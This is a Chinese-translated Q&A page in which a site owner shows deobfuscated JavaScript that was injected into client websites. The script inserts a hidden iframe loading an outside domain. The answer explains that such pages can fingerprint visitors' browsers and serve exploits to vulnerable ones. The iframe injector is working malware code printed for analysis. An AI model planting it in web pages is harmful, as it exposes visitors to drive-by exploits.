javascript - 注入(inject)了恶意的 JavaScript 代码 - 但没有做任何恶意的事情？

Question

我最近在我的一些客户网站上发现了一些恶意代码。这些基于 PHP 和 JS 的片段被注入(inject)是因为木马病毒记录了一些 ftp 凭证。然而，代码被混淆了，当我(安全地)评估它时，它看起来像这样:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://www.bahnmotive.de/index.htm' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src','http://www.bahnmotive.de/index.htm');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

如您所见，URL bahnmotive.de 包含在页面中，就像在不可见的 iframe 中一样。这个网站不包含任何有害数据(至少现在不再是)，所以我问自己(和你):为什么有人要链接到一个不可见的 iframe 中的网站而不做其他一些邪恶的事情？我的第一个猜测是，有一家 SEO 机构 promise 在其客户网站 bahnmotive.de 上提供大量流量，并由于这种木马病毒而实现了这一目标。那可能吗？我在谷歌上进行了研究，但对此一无所获，所以我想在这里问问一些专业人士。或许您可以将我指向另一个可以讨论该主题的论坛。

Answer 1

可以在该 url 检查用户代理和插件的存在，并仅将漏洞利用发送给具有易受攻击浏览器的用户。

不要小看坏人。